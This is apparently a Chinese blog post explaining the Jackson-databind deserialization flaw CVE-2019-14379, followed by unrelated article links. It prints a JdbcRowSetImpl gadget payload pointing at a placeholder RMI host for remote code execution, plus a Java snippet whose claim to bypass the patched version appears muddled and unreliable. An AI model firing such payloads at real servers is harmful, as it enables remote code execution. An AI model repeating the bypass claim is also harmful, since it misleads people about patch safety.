分析jackjson的安全漏洞CVE-2019-14379

yizhihongxing

分析Jackjson的安全漏洞CVE-2019-14379可以通过以下几个步骤:

1.了解CVE-2019-14379漏洞的背景和影响

CVE-2019-14379是一个由Jackson-databind 库的反序列化漏洞引发的安全问题。这种漏洞可以让攻击者远程执行任意代码,从而导致服务器遭到攻击、数据丢失或泄露。

2.检查自己的应用程序是否受到漏洞的影响

检查应用程序是否使用了旧版本的Jackson-databind 库,并确认应用程序是否接受带有不受信任数据的 JSON 输入。如果应用程序使用了受影响版本的库,并显示 JSON 输入,则该应用程序受到漏洞的影响。

3.确定解决方案

要解决这个问题,需要升级Jackson-databind 库至最新版本,这个漏洞已经在更高版本的Jackson-databind 库被修复。如果Jackson-databind 库升级到最新版本不可行,则通过验证JSON输入来减少应用程序的泄漏漏洞。

4.了解攻击者的行为

攻击者可以通过构造恶意的JSON输入来触发反序列化处理过程中的漏洞。为了防止攻击者成功利用此漏洞,重要属性应该明确标识,并且应该不接受来自不受信任的输入。为了降低攻击的风险,应该对 JSON 输入进行限制以防止一些恶意组合。

下面是一个利用要点1中被公开的漏洞复现产生远程代码执行的payload:

{
    "a": {
        "@class": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://yourip:port/someobj",
        "autoCommit": true
    }
}

同时,以下是应用了要点3中的升级仍然可以触发漏洞的例子:

String payload = "{\"@type\":\"com.fasterxml.jackson.databind.ObjectMapper\",\"monitoredOptions\":null,\"injectableValues\":null}";
ObjectMapper mapper = new ObjectMapper(new JsonFactory());
mapper.enableDefaultTyping();
mapper.readValue(payload, ObjectMapper.class);

以上是详细讲解分析Jackjson的安全漏洞CVE-2019-14379需要进行的操作和使用攻击方法的例子。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:分析jackjson的安全漏洞CVE-2019-14379 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • 详细介绍SpringCloud之Ribbon

    详细介绍SpringCloud之Ribbon 什么是Ribbon? Ribbon是Netflix开源项目之一,主要功能是提供客户端的负载均衡算法及服务调用。它是Spring Cloud体系中较为重要的组件,可以与Eureka、Consul、Zookeeper等注册中心组合使用,实现服务间的调用与负载均衡。 Ribbon的负载均衡算法 Ribbon提供了多种负…

    Java 2023年6月16日
    00
  • 一文了解Java中record和lombok的使用对比

    一文了解Java中record和lombok的使用对比 record 和 Lombok 都是 Java 中提高开发效率的工具。它们的相似点是都可以通过简化代码的方式减少 Java 的样板代码。但它们基于的思想有所不同,record 是 Java 语言的一部分,而 Lombok 是一个库。在这篇文章中,我们将探讨这两种工具的不同之处和适用情况。 Record …

    Java 2023年5月26日
    00
  • Tomcat中使用ipv6地址的示例代码

    下面是Tomcat中使用IPv6地址的示例代码的攻略: 确认Tomcat版本 首先需要确认Tomcat的版本,因为不同版本的Tomcat对IPv6的支持可能会有所不同。确保使用的Tomcat版本是7.0或更高版本,这些版本都支持IPv6地址。 配置server.xml 编辑Tomcat的配置文件server.xml,在 <Connector> 元…

    Java 2023年5月19日
    00
  • 数据库基本操作语法归纳总结

    下面是关于“数据库基本操作语法归纳总结”的完整攻略。 什么是数据库基本操作语法 数据库基本操作语法是指在对数据库进行增删改查操作时所使用的语法,包括了常用的SQL语句,比如:SELECT、INSERT、UPDATE、DELETE等。 基本操作语法归纳总结 下面是针对数据库基本操作语法的归纳总结: SELECT语句 SELECT语句用于查询数据,可以从一个或多…

    Java 2023年5月19日
    00
  • JGroups实现聊天小程序

    以下是关于使用JGroups实现聊天小程序的完整攻略,希望能够帮助您: JGroups实现聊天小程序 介绍 JGroups是一个用于构建群组应用程序的工具包,该工具包允许应用程序中的各个节点之间相互通信和协作。在本教程中,我们将使用JGroups构建一个简单的聊天应用程序。 准备工作 在开始构建JGroups聊天应用程序之前,我们需要首先安装Java和Mav…

    Java 2023年5月23日
    00
  • java异常处理详细介绍及实例

    Java异常处理详细介绍及实例 什么是Java异常 Java异常是指在程序运行过程中出现的异常事件,例如文件找不到、算数异常、空指针异常等等。在程序中出现异常会导致程序的异常终止,因此程序需要处理这些异常情况。 Java异常的分类 Java异常可以分为两种类型:检查异常和未检查异常。 检查异常 检查异常是指在编译期间就会被检查出来的异常,程序在编译时需要进行…

    Java 2023年5月26日
    00
  • springboot 注册服务注册中心(zk)的两种方式详解

    Spring Boot 中注册服务到 Zookeeper 的两种方式详解 前言 服务注册和发现是分布式系统的关键问题之一,Spring Cloud 中采用 Eureka 作为服务注册和发现的组件,但是在 Zookeeper 这种经过时间验证并且稳定可靠的中间件也有许多人选择在使用中心化服务注册时采用它。Spring Boot 通过 spring-cloud-…

    Java 2023年5月19日
    00
  • Java中随机函数变换的示例详解

    Java中随机函数变换的示例详解 本文将介绍Java语言中随机函数变换的示例。通过本文的学习,您将掌握Java中随机函数的基础知识、随机函数的应用场景,以及如何使用Java代码编写随机函数变换的示例。 随机函数的基础知识 在Java中,随机函数是一种能够生成随机数的函数,其可以应用于许多场景中,如生成随机验证码、洗牌等。随机函数在Java语言中属于伪随机数生…

    Java 2023年5月26日
    00
合作推广
合作推广
分享本页
返回顶部